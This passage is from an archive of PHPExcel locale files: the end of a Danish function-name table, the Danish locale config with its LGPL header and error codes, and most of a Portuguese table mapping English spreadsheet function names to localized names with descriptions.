Returnerer det tegn, der svarer til kodenummeret CLEAN = RENS ## Fjerner alle tegn, der ikke kan udskrives, fra tekst CODE = KODE ## Returnerer en numerisk kode for det første tegn i en tekststreng CONCATENATE = SAMMENKÆDNING ## Sammenkæder adskillige tekstelementer til ét tekstelement DOLLAR = KR ## Konverterer et tal til tekst ved hjælp af valutaformatet kr. (kroner) EXACT = EKSAKT ## Kontrollerer, om to tekstværdier er identiske FIND = FIND ## Søger efter en tekstværdi i en anden tekstværdi (der skelnes mellem store og små bogstaver) FINDB = FINDB ## Søger efter en tekstværdi i en anden tekstværdi (der skelnes mellem store og små bogstaver) FIXED = FAST ## Formaterer et tal som tekst med et fast antal decimaler JIS = JIS ## Ændrer engelske tegn i halv bredde (enkelt-byte) eller katakana i en tegnstreng til tegn i fuld bredde (dobbelt-byte) LEFT = VENSTRE ## Returnerer tegnet længst til venstre i en tekstværdi LEFTB = VENSTREB ## Returnerer tegnet længst til venstre i en tekstværdi LEN = LÆNGDE ## Returnerer antallet af tegn i en tekststreng LENB = LÆNGDEB ## Returnerer antallet af tegn i en tekststreng LOWER = SMÅ.BOGSTAVER ## Konverterer tekst til små bogstaver MID = MIDT ## Returnerer et bestemt antal tegn fra en tekststreng fra og med den angivne startposition MIDB = MIDTB ## Returnerer et bestemt antal tegn fra en tekststreng fra og med den angivne startposition PHONETIC = FONETISK ## Uddrager de fonetiske (furigana) tegn fra en tekststreng PROPER = STORT.FORBOGSTAV ## Konverterer første bogstav i hvert ord i teksten til stort bogstav REPLACE = ERSTAT ## Erstatter tegn i tekst REPLACEB = ERSTATB ## Erstatter tegn i tekst REPT = GENTAG ## Gentager tekst et givet antal gange RIGHT = HØJRE ## Returnerer tegnet længste til højre i en tekstværdi RIGHTB = HØJREB ## Returnerer tegnet længste til højre i en tekstværdi SEARCH = SØG ## Søger efter en tekstværdi i en anden tekstværdi (der skelnes ikke mellem store og små bogstaver) SEARCHB = SØGB ## Søger efter en tekstværdi i en anden tekstværdi (der skelnes ikke mellem store og små bogstaver) SUBSTITUTE = UDSKIFT ## Udskifter gammel tekst med ny tekst i en tekststreng T = T ## Konverterer argumenterne til tekst TEXT = TEKST ## Formaterer et tal og konverterer det til tekst TRIM = FJERN.OVERFLØDIGE.BLANKE ## Fjerner mellemrum fra tekst UPPER = STORE.BOGSTAVER ## Konverterer tekst til store bogstaver VALUE = VÆRDI ## Konverterer et tekstargument til et tal PHPExcel/locale/da/config 0000644 00000002466 14642534110 0011177 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Settings ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## ArgumentSeparator = ; ## ## (For future use) ## currencySymbol = kr ## ## Excel Error Codes (For future use) ## NULL = #NUL! DIV0 = #DIVISION/0! VALUE = #VÆRDI! REF = #REFERENCE! NAME = #NAVN? NUM = #NUM! NA = #I/T PHPExcel/locale/pt/functions 0000644 00000076442 14642534110 0012006 0 ustar 00 ## ## Add-in and Automation functions Funções de Suplemento e Automatização ## GETPIVOTDATA = OBTERDADOSDIN ## Devolve dados armazenados num relatório de Tabela Dinâmica ## ## Cube functions Funções de cubo ## CUBEKPIMEMBER = MEMBROKPICUBO ## Devolve o nome, propriedade e medição de um KPI (key performance indicator) e apresenta o nome e a propriedade na célula. Um KPI é uma medida quantificável, como, por exemplo, o lucro mensal bruto ou a rotatividade trimestral de pessoal, utilizada para monitorizar o desempenho de uma organização. CUBEMEMBER = MEMBROCUBO ## Devolve um membro ou cadeia de identificação numa hierarquia de cubo. Utilizada para validar a existência do membro ou cadeia de identificação no cubo. CUBEMEMBERPROPERTY = PROPRIEDADEMEMBROCUBO ## Devolve o valor de uma propriedade de membro no cubo. Utilizada para validar a existência de um nome de membro no cubo e para devolver a propriedade especificada para esse membro. CUBERANKEDMEMBER = MEMBROCLASSIFICADOCUBO ## Devolve o enésimo ou a classificação mais alta num conjunto. Utilizada para devolver um ou mais elementos num conjunto, tal como o melhor vendedor ou os 10 melhores alunos. CUBESET = CONJUNTOCUBO ## Define um conjunto calculado de membros ou cadeias de identificação enviando uma expressão de conjunto para o cubo no servidor, que cria o conjunto e, em seguida, devolve o conjunto ao Microsoft Office Excel. CUBESETCOUNT = CONTARCONJUNTOCUBO ## Devolve o número de itens num conjunto. CUBEVALUE = VALORCUBO ## Devolve um valor agregado do cubo. ## ## Database functions Funções de base de dados ## DAVERAGE = BDMÉDIA ## Devolve a média das entradas da base de dados seleccionadas DCOUNT = BDCONTAR ## Conta as células que contêm números numa base de dados DCOUNTA = BDCONTAR.VAL ## Conta as células que não estejam em branco numa base de dados DGET = BDOBTER ## Extrai de uma base de dados um único registo que corresponde aos critérios especificados DMAX = BDMÁX ## Devolve o valor máximo das entradas da base de dados seleccionadas DMIN = BDMÍN ## Devolve o valor mínimo das entradas da base de dados seleccionadas DPRODUCT = BDMULTIPL ## Multiplica os valores de um determinado campo de registos que correspondem aos critérios numa base de dados DSTDEV = BDDESVPAD ## Calcula o desvio-padrão com base numa amostra de entradas da base de dados seleccionadas DSTDEVP = BDDESVPADP ## Calcula o desvio-padrão com base na população total das entradas da base de dados seleccionadas DSUM = BDSOMA ## Adiciona os números na coluna de campo dos registos de base de dados que correspondem aos critérios DVAR = BDVAR ## Calcula a variância com base numa amostra das entradas de base de dados seleccionadas DVARP = BDVARP ## Calcula a variância com base na população total das entradas de base de dados seleccionadas ## ## Date and time functions Funções de data e hora ## DATE = DATA ## Devolve o número de série de uma determinada data DATEVALUE = DATA.VALOR ## Converte uma data em forma de texto num número de série DAY = DIA ## Converte um número de série num dia do mês DAYS360 = DIAS360 ## Calcula o número de dias entre duas datas com base num ano com 360 dias EDATE = DATAM ## Devolve um número de série de data que corresponde ao número de meses indicado antes ou depois da data de início EOMONTH = FIMMÊS ## Devolve o número de série do último dia do mês antes ou depois de um número de meses especificado HOUR = HORA ## Converte um número de série numa hora MINUTE = MINUTO ## Converte um número de série num minuto MONTH = MÊS ## Converte um número de série num mês NETWORKDAYS = DIATRABALHOTOTAL ## Devolve o número total de dias úteis entre duas datas NOW = AGORA ## Devolve o número de série da data e hora actuais SECOND = SEGUNDO ## Converte um número de série num segundo TIME = TEMPO ## Devolve o número de série de um determinado tempo TIMEVALUE = VALOR.TEMPO ## Converte um tempo em forma de texto num número de série TODAY = HOJE ## Devolve o número de série da data actual WEEKDAY = DIA.SEMANA ## Converte um número de série num dia da semana WEEKNUM = NÚMSEMANA ## Converte um número de série num número que representa o número da semana num determinado ano WORKDAY = DIA.TRABALHO ## Devolve o número de série da data antes ou depois de um número de dias úteis especificado YEAR = ANO ## Converte um número de série num ano YEARFRAC = FRACÇÃOANO ## Devolve a fracção de ano que representa o número de dias inteiros entre a data_de_início e a data_de_fim ## ## Engineering functions Funções de engenharia ## BESSELI = BESSELI ## Devolve a função de Bessel modificada In(x) BESSELJ = BESSELJ ## Devolve a função de Bessel Jn(x) BESSELK = BESSELK ## Devolve a função de Bessel modificada Kn(x) BESSELY = BESSELY ## Devolve a função de Bessel Yn(x) BIN2DEC = BINADEC ## Converte um número binário em decimal BIN2HEX = BINAHEX ## Converte um número binário em hexadecimal BIN2OCT = BINAOCT ## Converte um número binário em octal COMPLEX = COMPLEXO ## Converte coeficientes reais e imaginários num número complexo CONVERT = CONVERTER ## Converte um número de um sistema de medida noutro DEC2BIN = DECABIN ## Converte um número decimal em binário DEC2HEX = DECAHEX ## Converte um número decimal em hexadecimal DEC2OCT = DECAOCT ## Converte um número decimal em octal DELTA = DELTA ## Testa se dois valores são iguais ERF = FUNCERRO ## Devolve a função de erro ERFC = FUNCERROCOMPL ## Devolve a função de erro complementar GESTEP = DEGRAU ## Testa se um número é maior do que um valor limite HEX2BIN = HEXABIN ## Converte um número hexadecimal em binário HEX2DEC = HEXADEC ## Converte um número hexadecimal em decimal HEX2OCT = HEXAOCT ## Converte um número hexadecimal em octal IMABS = IMABS ## Devolve o valor absoluto (módulo) de um número complexo IMAGINARY = IMAGINÁRIO ## Devolve o coeficiente imaginário de um número complexo IMARGUMENT = IMARG ## Devolve o argumento Teta, um ângulo expresso em radianos IMCONJUGATE = IMCONJ ## Devolve o conjugado complexo de um número complexo IMCOS = IMCOS ## Devolve o co-seno de um número complexo IMDIV = IMDIV ## Devolve o quociente de dois números complexos IMEXP = IMEXP ## Devolve o exponencial de um número complexo IMLN = IMLN ## Devolve o logaritmo natural de um número complexo IMLOG10 = IMLOG10 ## Devolve o logaritmo de base 10 de um número complexo IMLOG2 = IMLOG2 ## Devolve o logaritmo de base 2 de um número complexo IMPOWER = IMPOT ## Devolve um número complexo elevado a uma potência inteira IMPRODUCT = IMPROD ## Devolve o produto de números complexos IMREAL = IMREAL ## Devolve o coeficiente real de um número complexo IMSIN = IMSENO ## Devolve o seno de um número complexo IMSQRT = IMRAIZ ## Devolve a raiz quadrada de um número complexo IMSUB = IMSUBTR ## Devolve a diferença entre dois números complexos IMSUM = IMSOMA ## Devolve a soma de números complexos OCT2BIN = OCTABIN ## Converte um número octal em binário OCT2DEC = OCTADEC ## Converte um número octal em decimal OCT2HEX = OCTAHEX ## Converte um número octal em hexadecimal ## ## Financial functions Funções financeiras ## ACCRINT = JUROSACUM ## Devolve os juros acumulados de um título que paga juros periódicos ACCRINTM = JUROSACUMV ## Devolve os juros acumulados de um título que paga juros no vencimento AMORDEGRC = AMORDEGRC ## Devolve a depreciação correspondente a cada período contabilístico utilizando um coeficiente de depreciação AMORLINC = AMORLINC ## Devolve a depreciação correspondente a cada período contabilístico COUPDAYBS = CUPDIASINLIQ ## Devolve o número de dias entre o início do período do cupão e a data de regularização COUPDAYS = CUPDIAS ## Devolve o número de dias no período do cupão que contém a data de regularização COUPDAYSNC = CUPDIASPRÓX ## Devolve o número de dias entre a data de regularização e a data do cupão seguinte COUPNCD = CUPDATAPRÓX ## Devolve a data do cupão seguinte após a data de regularização COUPNUM = CUPNÚM ## Devolve o número de cupões a serem pagos entre a data de regularização e a data de vencimento COUPPCD = CUPDATAANT ## Devolve a data do cupão anterior antes da data de regularização CUMIPMT = PGTOJURACUM ## Devolve os juros cumulativos pagos entre dois períodos CUMPRINC = PGTOCAPACUM ## Devolve o capital cumulativo pago a título de empréstimo entre dois períodos DB = BD ## Devolve a depreciação de um activo relativo a um período especificado utilizando o método das quotas degressivas fixas DDB = BDD ## Devolve a depreciação de um activo relativo a um período especificado utilizando o método das quotas degressivas duplas ou qualquer outro método especificado DISC = DESC ## Devolve a taxa de desconto de um título DOLLARDE = MOEDADEC ## Converte um preço em unidade monetária, expresso como uma fracção, num preço em unidade monetária, expresso como um número decimal DOLLARFR = MOEDAFRA ## Converte um preço em unidade monetária, expresso como um número decimal, num preço em unidade monetária, expresso como uma fracção DURATION = DURAÇÃO ## Devolve a duração anual de um título com pagamentos de juros periódicos EFFECT = EFECTIVA ## Devolve a taxa de juros anual efectiva FV = VF ## Devolve o valor futuro de um investimento FVSCHEDULE = VFPLANO ## Devolve o valor futuro de um capital inicial após a aplicação de uma série de taxas de juro compostas INTRATE = TAXAJUROS ## Devolve a taxa de juros de um título investido na totalidade IPMT = IPGTO ## Devolve o pagamento dos juros de um investimento durante um determinado período IRR = TIR ## Devolve a taxa de rentabilidade interna para uma série de fluxos monetários ISPMT = É.PGTO ## Calcula os juros pagos durante um período específico de um investimento MDURATION = MDURAÇÃO ## Devolve a duração modificada de Macauley de um título com um valor de paridade equivalente a € 100 MIRR = MTIR ## Devolve a taxa interna de rentabilidade em que os fluxos monetários positivos e negativos são financiados com taxas diferentes NOMINAL = NOMINAL ## Devolve a taxa de juros nominal anual NPER = NPER ## Devolve o número de períodos de um investimento NPV = VAL ## Devolve o valor actual líquido de um investimento com base numa série de fluxos monetários periódicos e numa taxa de desconto ODDFPRICE = PREÇOPRIMINC ## Devolve o preço por € 100 do valor nominal de um título com um período inicial incompleto ODDFYIELD = LUCROPRIMINC ## Devolve o lucro de um título com um período inicial incompleto ODDLPRICE = PREÇOÚLTINC ## Devolve o preço por € 100 do valor nominal de um título com um período final incompleto ODDLYIELD = LUCROÚLTINC ## Devolve o lucro de um título com um período final incompleto PMT = PGTO ## Devolve o pagamento periódico de uma anuidade PPMT = PPGTO ## Devolve o pagamento sobre o capital de um investimento num determinado período PRICE = PREÇO ## Devolve o preço por € 100 do valor nominal de um título que paga juros periódicos PRICEDISC = PREÇODESC ## Devolve o preço por € 100 do valor nominal de um título descontado PRICEMAT = PREÇOVENC ## Devolve o preço por € 100 do valor nominal de um título que paga juros no vencimento PV = VA ## Devolve o valor actual de um investimento RATE = TAXA ## Devolve a taxa de juros por período de uma anuidade RECEIVED = RECEBER ## Devolve o montante recebido no vencimento de um título investido na totalidade SLN = AMORT ## Devolve uma depreciação linear de um activo durante um período SYD = AMORTD ## Devolve a depreciação por algarismos da soma dos anos de um activo durante um período especificado TBILLEQ = OTN ## Devolve o lucro de um título equivalente a uma Obrigação do Tesouro TBILLPRICE = OTNVALOR ## Devolve o preço por € 100 de valor nominal de uma Obrigação do Tesouro TBILLYIELD = OTNLUCRO ## Devolve o lucro de uma Obrigação do Tesouro VDB = BDV ## Devolve a depreciação de um activo relativo a um período específico ou parcial utilizando um método de quotas degressivas XIRR = XTIR ## Devolve a taxa interna de rentabilidade de um plano de fluxos monetários que não seja necessariamente periódica XNPV = XVAL ## Devolve o valor actual líquido de um plano de fluxos monetários que não seja necessariamente periódico YIELD = LUCRO ## Devolve o lucro de um título que paga juros periódicos YIELDDISC = LUCRODESC ## Devolve o lucro anual de um título emitido abaixo do valor nominal, por exemplo, uma Obrigação do Tesouro YIELDMAT = LUCROVENC ## Devolve o lucro anual de um título que paga juros na data de vencimento ## ## Information functions Funções de informação ## CELL = CÉL ## Devolve informações sobre a formatação, localização ou conteúdo de uma célula ERROR.TYPE = TIPO.ERRO ## Devolve um número correspondente a um tipo de erro INFO = INFORMAÇÃO ## Devolve informações sobre o ambiente de funcionamento actual ISBLANK = É.CÉL.VAZIA ## Devolve VERDADEIRO se o valor estiver em branco ISERR = É.ERROS ## Devolve VERDADEIRO se o valor for um valor de erro diferente de #N/D ISERROR = É.ERRO ## Devolve VERDADEIRO se o valor for um valor de erro ISEVEN = ÉPAR ## Devolve VERDADEIRO se o número for par ISLOGICAL = É.LÓGICO ## Devolve VERDADEIRO se o valor for lógico ISNA = É.NÃO.DISP ## Devolve VERDADEIRO se o valor for o valor de erro #N/D ISNONTEXT = É.NÃO.TEXTO ## Devolve VERDADEIRO se o valor não for texto ISNUMBER = É.NÚM ## Devolve VERDADEIRO se o valor for um número ISODD = ÉÍMPAR ## Devolve VERDADEIRO se o número for ímpar ISREF = É.REF ## Devolve VERDADEIRO se o valor for uma referência ISTEXT = É.TEXTO ## Devolve VERDADEIRO se o valor for texto N = N ## Devolve um valor convertido num número NA = NÃO.DISP ## Devolve o valor de erro #N/D TYPE = TIPO ## Devolve um número que indica o tipo de dados de um valor ## ## Logical functions Funções lógicas ## AND = E ## Devolve VERDADEIRO se todos os respectivos argumentos corresponderem a VERDADEIRO FALSE = FALSO ## Devolve o valor lógico FALSO IF = SE ## Especifica um teste lógico a ser executado IFERROR = SE.ERRO ## Devolve um valor definido pelo utilizador se ocorrer um erro na fórmula, e devolve o resultado da fórmula se não ocorrer nenhum erro NOT = NÃO ## Inverte a lógica do respectivo argumento OR = OU ## Devolve VERDADEIRO se qualquer argumento for VERDADEIRO TRUE = VERDADEIRO ## Devolve o valor lógico VERDADEIRO ## ## Lookup and reference functions Funções de pesquisa e referência ## ADDRESS = ENDEREÇO ## Devolve uma referência a uma única célula numa folha de cálculo como texto AREAS = ÁREAS ## Devolve o número de áreas numa referência CHOOSE = SELECCIONAR ## Selecciona um valor a partir de uma lista de valores COLUMN = COL ## Devolve o número da coluna de uma referência COLUMNS = COLS ## Devolve o número de colunas numa referência HLOOKUP = PROCH ## Procura na linha superior de uma matriz e devolve o valor da célula indicada HYPERLINK = HIPERLIGAÇÃO ## Cria um atalho ou hiperligação que abre um documento armazenado num servidor de rede, numa intranet ou na Internet INDEX = ÍNDICE ## Utiliza um índice para escolher um valor de uma referência ou de uma matriz INDIRECT = INDIRECTO ## Devolve uma referência indicada por um valor de texto LOOKUP = PROC ## Procura valores num vector ou numa matriz MATCH = CORRESP ## Procura valores numa referência ou numa matriz OFFSET = DESLOCAMENTO ## Devolve o deslocamento de referência de uma determinada referência ROW = LIN ## Devolve o número da linha de uma referência ROWS = LINS ## Devolve o número de linhas numa referência RTD = RTD ## Obtém dados em tempo real a partir de um programa que suporte automatização COM (automatização: modo de trabalhar com objectos de uma aplicação a partir de outra aplicação ou ferramenta de desenvolvimento. Anteriormente conhecida como automatização OLE, a automatização é uma norma da indústria de software e uma funcionalidade COM (Component Object Model).) TRANSPOSE = TRANSPOR ## Devolve a transposição de uma matriz VLOOKUP = PROCV ## Procura na primeira coluna de uma matriz e percorre a linha para devolver o valor de uma célula ## ## Math and trigonometry functions Funções matemáticas e trigonométricas ## ABS = ABS ## Devolve o valor absoluto de um número ACOS = ACOS ## Devolve o arco de co-seno de um número ACOSH = ACOSH ## Devolve o co-seno hiperbólico inverso de um número ASIN = ASEN ## Devolve o arco de seno de um número ASINH = ASENH ## Devolve o seno hiperbólico inverso de um número ATAN = ATAN ## Devolve o arco de tangente de um número ATAN2 = ATAN2 ## Devolve o arco de tangente das coordenadas x e y ATANH = ATANH ## Devolve a tangente hiperbólica inversa de um número CEILING = ARRED.EXCESSO ## Arredonda um número para o número inteiro mais próximo ou para o múltiplo de significância mais próximo COMBIN = COMBIN ## Devolve o número de combinações de um determinado número de objectos COS = COS ## Devolve o co-seno de um número COSH = COSH ## Devolve o co-seno hiperbólico de um número DEGREES = GRAUS ## Converte radianos em graus EVEN = PAR ## Arredonda um número por excesso para o número inteiro mais próximo EXP = EXP ## Devolve e elevado à potência de um determinado número FACT = FACTORIAL ## Devolve o factorial de um número FACTDOUBLE = FACTDUPLO ## Devolve o factorial duplo de um número FLOOR = ARRED.DEFEITO ## Arredonda um número por defeito até zero GCD = MDC ## Devolve o maior divisor comum INT = INT ## Arredonda um número por defeito para o número inteiro mais próximo LCM = MMC ## Devolve o mínimo múltiplo comum LN = LN ## Devolve o logaritmo natural de um número LOG = LOG ## Devolve o logaritmo de um número com uma base especificada LOG10 = LOG10 ## Devolve o logaritmo de base 10 de um número MDETERM = MATRIZ.DETERM ## Devolve o determinante matricial de uma matriz MINVERSE = MATRIZ.INVERSA ## Devolve o inverso matricial de uma matriz MMULT = MATRIZ.MULT ## Devolve o produto matricial de duas matrizes MOD = RESTO ## Devolve o resto da divisão MROUND = MARRED ## Devolve um número arredondado para o múltiplo pretendido MULTINOMIAL = POLINOMIAL ## Devolve o polinomial de um conjunto de números ODD = ÍMPAR ## Arredonda por excesso um número para o número inteiro ímpar mais próximo PI = PI ## Devolve o valor de pi POWER = POTÊNCIA ## Devolve o resultado de um número elevado a uma potência PRODUCT = PRODUTO ## Multiplica os respectivos argumentos QUOTIENT = QUOCIENTE ## Devolve a parte inteira de uma divisão RADIANS = RADIANOS ## Converte graus em radianos RAND = ALEATÓRIO ## Devolve um número aleatório entre 0 e 1 RANDBETWEEN = ALEATÓRIOENTRE ## Devolve um número aleatório entre os números especificados ROMAN = ROMANO ## Converte um número árabe em romano, como texto ROUND = ARRED ## Arredonda um número para um número de dígitos especificado ROUNDDOWN = ARRED.PARA.BAIXO ## Arredonda um número por defeito até zero ROUNDUP = ARRED.PARA.CIMA ## Arredonda um número por excesso, afastando-o de zero SERIESSUM = SOMASÉRIE ## Devolve a soma de uma série de potências baseada na fórmula SIGN = SINAL ## Devolve o sinal de um número SIN = SEN ## Devolve o seno de um determinado ângulo SINH = SENH ## Devolve o seno hiperbólico de um número SQRT = RAIZQ ## Devolve uma raiz quadrada positiva SQRTPI = RAIZPI ## Devolve a raiz quadrada de (núm * pi) SUBTOTAL = SUBTOTAL ## Devolve um subtotal numa lista ou base de dados SUM = SOMA ## Adiciona os respectivos argumentos SUMIF = SOMA.SE ## Adiciona as células especificadas por um determinado critério SUMIFS = SOMA.SE.S ## Adiciona as células num intervalo que cumpre vários critérios SUMPRODUCT = SOMARPRODUTO ## Devolve a soma dos produtos de componentes de matrizes correspondentes SUMSQ = SOMARQUAD ## Devolve a soma dos quadrados dos argumentos SUMX2MY2 = SOMAX2DY2 ## Devolve a soma da diferença dos quadrados dos valores correspondentes em duas matrizes SUMX2PY2 = SOMAX2SY2 ## Devolve a soma da soma dos quadrados dos valores correspondentes em duas matrizes SUMXMY2 = SOMAXMY2 ## Devolve a soma dos quadrados da diferença dos valores correspondentes em duas matrizes TAN = TAN ## Devolve a tangente de um número TANH = TANH ## Devolve a tangente hiperbólica de um número TRUNC = TRUNCAR ## Trunca um número para um número inteiro ## ## Statistical functions Funções estatísticas ## AVEDEV = DESV.MÉDIO ## Devolve a média aritmética dos desvios absolutos à média dos pontos de dados AVERAGE = MÉDIA ## Devolve a média dos respectivos argumentos AVERAGEA = MÉDIAA ## Devolve uma média dos respectivos argumentos, incluindo números, texto e valores lógicos AVERAGEIF = MÉDIA.SE ## Devolve a média aritmética de todas as células num intervalo que cumprem determinado critério AVERAGEIFS = MÉDIA.SE.S ## Devolve a média aritmética de todas as células que cumprem múltiplos critérios BETADIST = DISTBETA ## Devolve a função de distribuição cumulativa beta BETAINV = BETA.ACUM.INV ## Devolve o inverso da função de distribuição cumulativa relativamente a uma distribuição beta específica BINOMDIST = DISTRBINOM ## Devolve a probabilidade de distribuição binomial de termo individual CHIDIST = DIST.CHI ## Devolve a probabilidade unicaudal da distribuição qui-quadrada CHIINV = INV.CHI ## Devolve o inverso da probabilidade unicaudal da distribuição qui-quadrada CHITEST = TESTE.CHI ## Devolve o teste para independência CONFIDENCE = INT.CONFIANÇA ## Devolve o intervalo de confiança correspondente a uma média de população CORREL = CORREL ## Devolve o coeficiente de correlação entre dois conjuntos de dados COUNT = CONTAR ## Conta os números que existem na lista de argumentos COUNTA = CONTAR.VAL ## Conta os valores que existem na lista de argumentos COUNTBLANK = CONTAR.VAZIO ## Conta o número de células em branco num intervalo COUNTIF = CONTAR.SE ## Calcula o número de células num intervalo que corresponde aos critérios determinados COUNTIFS = CONTAR.SE.S ## Conta o número de células num intervalo que cumprem múltiplos critérios COVAR = COVAR ## Devolve a covariância, que é a média dos produtos de desvios de pares CRITBINOM = CRIT.BINOM ## Devolve o menor valor em que a distribuição binomial cumulativa é inferior ou igual a um valor de critério DEVSQ = DESVQ ## Devolve a soma dos quadrados dos desvios EXPONDIST = DISTEXPON ## Devolve a distribuição exponencial FDIST = DISTF ## Devolve a distribuição da probabilidade F FINV = INVF ## Devolve o inverso da distribuição da probabilidade F FISHER = FISHER ## Devolve a transformação Fisher FISHERINV = FISHERINV ## Devolve o inverso da transformação Fisher FORECAST = PREVISÃO ## Devolve um valor ao longo de uma tendência linear FREQUENCY = FREQUÊNCIA ## Devolve uma distribuição de frequência como uma matriz vertical FTEST = TESTEF ## Devolve o resultado de um teste F GAMMADIST = DISTGAMA ## Devolve a distribuição gama GAMMAINV = INVGAMA ## Devolve o inverso da distribuição gama cumulativa GAMMALN = LNGAMA ## Devolve o logaritmo natural da função gama, Γ(x) GEOMEAN = MÉDIA.GEOMÉTRICA ## Devolve a média geométrica GROWTH = CRESCIMENTO ## Devolve valores ao longo de uma tendência exponencial HARMEAN = MÉDIA.HARMÓNICA ## Devolve a média harmónica HYPGEOMDIST = DIST.HIPERGEOM ## Devolve a distribuição hipergeométrica INTERCEPT = INTERCEPTAR ## Devolve a intercepção da linha de regressão linear KURT = CURT ## Devolve a curtose de um conjunto de dados LARGE = MAIOR ## Devolve o maior valor k-ésimo de um conjunto de dados LINEST = PROJ.LIN ## Devolve os parâmetros de uma tendência linear LOGEST = PROJ.LOG ## Devolve os parâmetros de uma tendência exponencial LOGINV = INVLOG ## Devolve o inverso da distribuição normal logarítmica LOGNORMDIST = DIST.NORMALLOG ## Devolve a distribuição normal logarítmica cumulativa MAX = MÁXIMO ## Devolve o valor máximo numa lista de argumentos MAXA = MÁXIMOA ## Devolve o valor máximo numa lista de argumentos, incluindo números, texto e valores lógicos MEDIAN = MED ## Devolve a mediana dos números indicados MIN = MÍNIMO ## Devolve o valor mínimo numa lista de argumentos MINA = MÍNIMOA ## Devolve o valor mínimo numa lista de argumentos, incluindo números, texto e valores lógicos MODE = MODA ## Devolve o valor mais comum num conjunto de dados NEGBINOMDIST = DIST.BIN.NEG ## Devolve a distribuição binominal negativa NORMDIST = DIST.NORM ## Devolve a distribuição cumulativa normal NORMINV = INV.NORM ## Devolve o inverso da distribuição cumulativa normal NORMSDIST = DIST.NORMP ## Devolve a distribuição cumulativa normal padrão NORMSINV = INV.NORMP ## Devolve o inverso da distribuição cumulativa normal padrão PEARSON = PEARSON ## Devolve o coeficiente de correlação momento/produto de Pearson PERCENTILE = PERCENTIL ## Devolve o k-ésimo percentil de valores num intervalo PERCENTRANK = ORDEM.PERCENTUAL ## Devolve a ordem percentual de um valor num conjunto de dados PERMUT = PERMUTAR ## Devolve o número de permutações de um determinado número de objectos POISSON = POISSON ## Devolve a distribuição de Poisson PROB = PROB ## Devolve a probabilidade dos valores num intervalo se encontrarem entre dois limites QUARTILE = QUARTIL ## Devolve o quartil de um conjunto de dados RANK = ORDEM ## Devolve a ordem de um número numa lista numérica RSQ = RQUAD ## Devolve o quadrado do coeficiente de correlação momento/produto de Pearson SKEW = DISTORÇÃO ## Devolve a distorção de uma distribuição SLOPE = DECLIVE ## Devolve o declive da linha de regressão linear SMALL = MENOR ## Devolve o menor valor de k-ésimo de um conjunto de dados STANDARDIZE = NORMALIZAR ## Devolve um valor normalizado STDEV = DESVPAD ## Calcula o desvio-padrão com base numa amostra STDEVA = DESVPADA ## Calcula o desvio-padrão com base numa amostra, incluindo números, texto e valores lógicos STDEVP = DESVPADP ## Calcula o desvio-padrão com base na população total STDEVPA = DESVPADPA ## Calcula o desvio-padrão com base na população total, incluindo números, texto e valores lógicos STEYX = EPADYX ## Devolve o erro-padrão do valor de y previsto para cada x na regressão TDIST = DISTT ## Devolve a distribuição t de Student TINV = INVT ## Devolve o inverso da distribuição t de Student TREND = TENDÊNCIA ## Devolve valores ao longo de uma tendência linear TRIMMEAN = MÉDIA.INTERNA ## Devolve a média do interior de um conjunto de dados TTEST = TESTET ## Devolve a probabilidade associada ao teste t de Student VAR = VAR ## Calcula a variância com base numa amostra VARA = VARA ## Calcula a variância com base numa amostra, incluindo números, texto e valores lógicos VARP = VARP ## Calcula a variância com base na população total VARPA = VARPA ## Calcula a variância com base na população total, incluindo números, texto e valores lógicos WEIBULL = WEIBULL ## Devolve a distribuição Weibull ZTEST = TESTEZ ## Devolve o valor de probabilidade unicaudal de um teste-z ## ## Text functions Funções de texto ## ASC = ASC ## Altera letras ou katakana de largura total (byte duplo) numa cadeia de caracteres para caracteres de largura média (byte único) BAHTTEXT = TEXTO.BAHT ## Converte um número em texto, utilizando o formato monetário ß (baht) CHAR = CARÁCT ## Devolve o carácter especificado pelo número de código CLEAN = LIMPAR ## Remove do texto todos os caracteres não imprimíveis CODE = CÓDIGO ## Devolve um código numérico correspondente ao primeiro carácter numa cadeia de texto CONCATENATE = CONCATENAR ## Agrupa vários itens de texto num único item de texto DOLLAR = MOEDA ## Converte um número em texto, utilizando o formato monetário € (Euro) EXACT = EXACTO ## Verifica se dois valores de texto são idênticos FIND = LOCALIZAR ## Localiza um valor de texto dentro de outro (sensível às maiúsculas e minúsculas) FINDB = LOCALIZARB ## Localiza um valor de texto dentro de outro (sensível às maiúsculas e minúsculas) FIXED = FIXA ## Formata um número como texto com um número fixo de decimais JIS = JIS ## Altera letras ou katakana de largura média (byte único) numa cadeia de caracteres para caracteres de largura total (byte duplo) LEFT = ESQUERDA ## Devolve os caracteres mais à esquerda de um valor de texto LEFTB = ESQUERDAB ## Devolve os caracteres mais à esquerda de um valor de texto LEN = NÚM.CARACT ## Devolve o número de caracteres de uma cadeia de texto LENB = NÚM.CARACTB ## Devolve o número de caracteres de uma cadeia de texto LOWER = MINÚSCULAS ## Converte o texto em minúsculas MID = SEG.TEXTO ## Devolve um número específico de caracteres de uma cadeia de texto, a partir da posição especificada MIDB = SEG.TEXTOB ## Devolve um número específico de caracteres de uma cadeia de texto, a partir da posição especificada PHONETIC = FONÉTICA ## Retira os caracteres fonéticos (furigana) de uma cadeia de texto PROPER = INICIAL.MAIÚSCULA ## Coloca em maiúsculas a primeira letra de cada palavra de um valor de texto REPLACE = SUBSTITUIR ## Substitui caracteres no texto REPLACEB = SUBSTITUIRB ## Substitui caracteres no texto REPT = REPETIR ## Repete texto um determinado número de vezes RIGHT = DIREITA ## Devolve os caracteres mais à direita de um valor de texto RIGHTB = DIREITAB ## Devolve os caracteres mais à direita de um valor de texto SEARCH = PROCURAR ## Localiza um valor de texto dentro de outro (não sensível a maiúsculas e minúsculas) SEARCHB = PROCURARB ## Localiza um valor de texto dentro de outro (não sensível a maiúsculas e minúsculas) SUBSTITUTE = 